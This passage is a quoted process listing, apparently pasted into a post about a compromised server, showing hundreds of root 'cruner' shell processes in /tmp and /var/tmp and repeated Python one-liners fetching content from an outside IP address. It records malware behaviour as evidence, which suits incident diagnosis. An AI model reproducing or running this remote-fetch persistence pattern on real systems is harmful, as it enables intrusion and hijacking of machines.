10113 0 - ? 0:00 <defunct> > root 18192 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19689 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 250 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9587 1399 0 - ? 0:00 <defunct> > root 5000 6348 0 15:44:23 ? 0:00 bash -sh > root 13096 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4110 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6785 6776 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22235 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28849 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22202 28583 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3866 21058 0 15:45:58 ? 0:00 sleep 60 > root 24989 1 0 20:04:59 ? 0:00 sh /tmp/cruner > root 14723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18210 22889 0 15:45:42 ? 0:00 bash -sh > root 14956 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 474 21513 0 15:45:18 ? 0:00 bash -sh > root 2485 24731 0 15:45:35 ? 0:00 bash -sh > root 7840 8007 0 - ? 0:00 <defunct> > root 7961 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19869 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23860 18154 0 15:45:43 ? 0:00 sleep 60 > root 27398 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9439 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20924 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21558 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12376 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1942 7993 0 15:45:35 ? 0:00 sh /tmp/cruner > root 13165 11509 0 15:45:36 ? 0:00 bash -sh > root 5127 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16010 10311 0 - ? 0:00 <defunct> > root 5757 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5449 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22750 10824 0 15:45:13 ? 0:00 sleep 60 > root 26959 24773 0 15:45:18 ? 0:00 bash -sh > root 2766 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6989 27876 0 15:44:51 ? 0:00 bash -sh > root 23943 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11648 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2371 21550 0 15:45:19 ? 0:00 sleep 60 > root 28054 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4416 3138 0 15:44:37 ? 0:00 bash -sh > root 12206 13253 0 15:45:21 ? 0:00 sleep 60 > root 13800 20678 0 - ? 0:00 <defunct> > root 3449 14255 0 - ? 0:00 <defunct> > root 19704 30 0 15:44:18 ? 0:00 bash -sh > root 12822 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8522 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12674 3636 0 - ? 0:00 <defunct> > root 26500 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24807 10198 0 15:43:29 ? 0:00 bash -sh > root 7337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18470 17495 0 15:45:06 ? 0:00 sleep 60 > root 10589 2847 0 15:43:26 ? 0:00 bash -sh > root 14563 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21509 18905 0 15:44:53 ? 0:00 bash -sh > root 27196 27190 0 - ? 0:00 <defunct> > root 5659 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16772 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14483 6504 0 15:43:27 ? 0:00 bash -sh > root 6564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10121 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29346 12173 0 - ? 0:00 <defunct> > root 2633 25759 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6452 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15585 26322 0 15:45:41 ? 0:00 sleep 60 > root 20310 11318 0 15:45:52 ? 0:00 bash -sh > root 5230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10425 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11828 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12998 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28390 28396 0 15:45:18 ? 0:00 sleep 60 > root 26370 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8396 6759 0 - ? 0:00 <defunct> > root 7792 17325 0 - ? 0:00 <defunct> > root 18228 11806 0 15:46:00 ? 0:00 bash -sh > root 2540 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25625 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3235 7481 0 15:45:48 ? 0:00 bash -sh > root 22959 21585 0 15:45:02 ? 0:00 bash -sh > root 19680 29746 0 15:45:16 ? 0:00 bash -sh > root 15474 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21709 28963 0 - ? 0:00 <defunct> > root 20063 8771 0 15:45:51 ? 0:00 bash -sh > root 15262 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4852 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26170 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15721 28842 0 15:45:06 ? 0:00 sleep 60 > root 3867 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19833 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25472 3153 0 - ? 0:00 <defunct> > root 490 18727 0 15:45:18 ? 0:00 bash -sh > root 8668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12555 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8741 16895 0 15:45:40 ? 0:00 bash -sh > root 20894 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26186 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2728 27415 0 15:43:25 ? 0:00 bash -sh > root 3032 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17470 18571 0 15:46:00 ? 0:00 sh /tmp/cruner > root 5282 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1111 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17568 16245 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 9371 23678 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 15644 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20139 4647 0 - ? 0:00 <defunct> > root 11444 2968 0 15:45:55 ? 0:00 bash -sh > root 27198 21357 0 15:46:02 ? 0:00 sh /tmp/cruner > root 22230 29763 0 15:45:47 ? 0:00 sh /tmp/cruner > root 20772 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23888 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25717 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18226 22107 0 - ? 0:00 <defunct> > root 18928 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24196 8856 0 15:45:02 ? 0:00 bash -sh > root 9119 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28216 1791 0 15:45:39 ? 0:00 sleep 60 > root 651 20049 0 - ? 0:00 <defunct> > root 17930 22594 0 - ? 0:00 <defunct> > root 4515 6019 0 15:45:09 ? 0:00 bash -sh > root 12432 15428 0 15:44:43 ? 0:00 bash -sh > root 13961 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29372 10438 0 - ? 0:00 <defunct> > root 21843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17587 9915 0 15:45:42 ? 0:00 bash -sh > root 3010 2528 0 15:45:48 ? 0:00 xargs kill -9 > root 9098 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23547 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13653 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5069 21556 0 15:45:20 ? 0:00 sleep 60 > root 18898 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26814 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2029 22717 0 - ? 0:00 <defunct> > root 8143 16946 0 15:45:31 ? 0:00 xargs kill -9 > root 26929 1 0 01:29:25 ? 0:00 sh /var/tmp/cruner > root 26413 8407 0 15:45:43 ? 0:00 xargs kill -9 > root 949 21213 0 - ? 0:00 <defunct> > root 5143 4087 0 - ? 0:00 <defunct> > root 21804 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9656 1 0 20:35:04 ? 0:00 sh /var/tmp/cruner > root 29736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26699 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14578 18680 0 - ? 0:00 <defunct> > root 19237 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20363 14744 0 15:45:12 ? 0:00 sh /tmp/cruner > root 1686 27379 0 15:45:19 ? 0:00 sleep 60 > root 22792 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7512 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12325 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4476 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16531 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7625 20891 0 - ? 0:00 <defunct> > root 18869 13308 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 15023 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1459 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6104 21893 0 - ? 0:00 <defunct> > root 9048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13241 27888 0 15:44:16 ? 0:00 bash -sh > root 5239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7510 16062 0 15:45:54 ? 0:00 sleep 60 > root 26456 22332 0 15:45:34 ? 0:00 sleep 60 > root 6223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22856 5789 0 - ? 0:00 <defunct> > root 27202 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18557 28719 0 - ? 0:00 <defunct> > root 7301 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 884 14473 0 - ? 0:00 <defunct> > root 27422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17802 28064 0 - ? 0:00 <defunct> > root 9770 13627 0 - ? 0:00 <defunct> > root 8771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19686 24613 0 15:45:56 ? 0:00 xargs kill -9 > root 16647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3339 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24880 25817 0 - ? 0:00 <defunct> > root 2984 11464 0 - ? 0:00 <defunct> > root 27615 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10878 15438 0 15:45:55 ? 0:00 xargs kill -9 > root 20877 20864 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26366 26697 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 10153 23067 0 15:45:55 ? 0:00 sleep 60 > root 16722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11970 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6662 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29791 24754 0 15:45:18 ? 0:00 bash -sh > root 18412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26090 22899 0 15:44:09 ? 0:00 bash -sh > root 16217 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 544 29624 0 15:45:24 ? 0:00 sleep 60 > root 17489 18929 0 - ? 0:00 <defunct> > root 14899 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5899 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26625 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7426 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5208 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5876 3952 0 - ? 0:00 <defunct> > root 9533 26168 0 - ? 0:00 <defunct> > root 17103 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6641 24100 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25979 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13999 14086 0 15:45:45 ? 0:00 bash -sh > root 24294 5028 0 15:45:27 ? 0:00 sleep 60 > root 10131 27067 0 15:45:15 ? 0:00 bash -sh > root 10499 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6980 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6479 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20852 6624 0 15:43:52 ? 0:00 bash -sh > root 25040 6897 0 15:45:52 ? 0:00 xargs kill -9 > root 27753 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29260 19703 0 15:45:39 ? 0:00 xargs kill -9 > root 27503 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16737 28635 0 15:45:06 ? 0:00 sleep 60 > root 11339 12873 0 15:45:28 ? 0:00 bash -sh > root 6514 871 0 15:45:20 ? 0:00 sleep 60 > root 24947 21195 0 15:44:54 ? 0:00 bash -sh > root 26392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28742 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24978 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2769 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18024 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13357 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9442 17824 0 15:44:14 ? 0:00 bash -sh > root 19294 23442 0 - ? 0:00 <defunct> > root 23406 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7256 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5499 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3885 1474 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3268 23204 0 - ? 0:00 <defunct> > root 6048 6033 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3050 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25691 1416 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3597 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7115 7094 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27415 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22944 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9212 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6674 27251 0 15:45:45 ? 0:00 bash -sh > root 19271 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5200 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 317 5268 0 15:44:11 ? 0:00 bash -sh > root 20677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23458 2201 0 15:45:13 ? 0:00 sleep 60 > root 26405 15032 0 15:45:34 ? 0:00 sleep 60 > root 23450 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16869 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17561 23573 0 15:45:37 ? 0:00 bash -sh > root 12271 12363 0 - ? 0:00 <defunct> > root 18272 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27534 17759 0 15:45:34 ? 0:00 sleep 60 > root 1042 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18575 20206 0 - ? 0:00 <defunct> > root 26928 26844 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12168 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20942 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10431 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7669 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27341 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10108 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22579 12066 0 - ? 0:00 <defunct> > root 1450 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20228 16949 0 - ? 0:00 <defunct> > root 11697 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25517 20767 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6974 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4520 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17824 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13865 2679 0 15:45:59 ? 0:00 sleep 60 > root 4909 10324 0 - ? 0:00 <defunct> > root 27360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15228 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3714 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10852 18231 0 15:46:03 ? 0:00 bash -sh > root 8831 13364 0 - ? 0:00 <defunct> > root 9474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29064 11840 0 - ? 0:00 <defunct> > root 17 26020 0 15:45:31 ? 0:00 bash -sh > root 29790 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10893 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4603 4076 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11581 12924 0 15:46:04 ? 0:00 bash -sh > root 23460 24820 0 15:45:43 ? 0:00 bash -sh > root 12166 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22505 22495 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9780 10661 0 - ? 0:00 <defunct> > root 22600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16231 1 0 22:00:10 ? 0:00 sh /var/tmp/cruner > root 3634 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18375 4189 0 15:44:57 ? 0:00 bash -sh > root 11218 10808 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27152 1 0 19:56:32 ? 0:00 sh /var/tmp/cruner > root 14216 29185 0 15:45:59 ? 0:00 sleep 60 > root 2224 29776 0 15:45:58 ? 0:00 sleep 60 > root 2862 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28681 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20734 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24491 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26993 27865 0 15:45:39 ? 0:00 xargs kill -9 > root 25099 8950 0 15:45:39 ? 0:00 bash -sh > root 23959 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23947 4149 0 15:44:32 ? 0:00 bash -sh > root 7461 27835 0 15:45:25 ? 0:00 bash -sh > root 7979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16901 16639 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7222 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24848 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5383 26814 0 15:45:28 ? 0:00 sleep 60 > root 9374 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12750 1359 0 15:45:41 ? 0:00 sleep 60 > root 17015 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16101 10840 0 - ? 0:00 <defunct> > root 27635 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16408 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1380 12214 0 15:46:02 ? 0:00 sleep 60 > root 17657 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19216 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8446 27981 0 - ? 0:00 <defunct> > root 21161 21411 0 15:44:58 ? 0:00 bash -sh > root 25824 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28341 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8500 6281 0 15:45:25 ? 0:00 sleep 60 > root 7607 1 0 18:06:32 ? 0:01 sh /var/tmp/cruner > root 15076 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13863 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28267 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9091 10800 0 15:45:50 ? 0:00 bash -sh > root 2646 10536 0 15:46:02 ? 0:00 bash -sh > root 48 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6624 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18290 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22688 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7860 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16943 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16709 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29037 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1130 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26148 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12107 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26411 14142 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21296 4104 0 15:45:56 ? 0:00 sleep 60 > root 16875 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18790 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19886 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1882 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25701 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 818 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18331 9529 0 15:43:33 ? 0:00 bash -sh > root 29323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29601 5120 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 1442 9451 0 15:46:02 ? 0:00 sleep 60 > root 11642 11617 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15947 19804 0 15:45:22 ? 0:00 bash -sh > root 266 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26994 26971 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1856 19993 0 - ? 0:00 <defunct> > root 24183 12767 0 15:45:38 ? 0:00 bash -sh > root 14621 22872 0 15:46:04 ? 0:00 sleep 60 > root 21154 17062 0 15:45:06 ? 0:00 bash -sh > root 25601 1 0 22:35:23 ? 0:00 sh /tmp/cruner > root 23249 5311 0 15:45:17 ? 0:00 sleep 60 > root 13214 11735 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11147 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16497 29533 0 15:44:57 ? 0:00 bash -sh > root 17955 20714 0 15:45:06 ? 0:00 sleep 60 > root 28992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6429 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29629 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16144 23355 0 - ? 0:00 <defunct> > root 23449 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12741 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6868 13134 0 15:45:49 ? 0:00 sleep 60 > root 19368 17711 0 - ? 0:00 <defunct> > root 29134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5017 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18999 11349 0 15:44:06 ? 0:00 bash -sh > root 23478 20884 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11539 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15299 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20851 26721 0 - ? 0:00 <defunct> > root 19089 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11869 11621 0 15:45:29 ? 0:00 sleep 60 > root 7133 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28458 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26634 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13356 13345 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 310 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3300 27882 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 9789 9739 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28509 29796 0 15:45:53 ? 0:00 sleep 60 > root 14758 26711 0 15:45:46 ? 0:00 bash -sh > root 15583 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6347 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13662 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23505 23261 0 - ? 0:00 <defunct> > root 18157 379 0 15:45:29 ? 0:00 sleep 60 > root 2401 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28734 7891 0 - ? 0:00 <defunct> > root 28084 5267 0 15:45:18 ? 0:00 sleep 60 > root 18172 5188 0 15:45:06 ? 0:00 sleep 60 > root 15410 15404 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11143 11073 0 - ? 0:00 <defunct> > root 16690 26915 0 15:45:06 ? 0:00 sleep 60 > root 852 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8281 29668 0 15:45:20 ? 0:00 sleep 60 > root 11150 28836 0 - ? 0:00 <defunct> > root 19730 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25488 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26336 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24325 7415 0 15:45:30 ? 0:00 bash -sh > root 15031 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1227 11381 0 - ? 0:00 <defunct> > root 25167 1 0 Oct 05 ? 0:01 sh 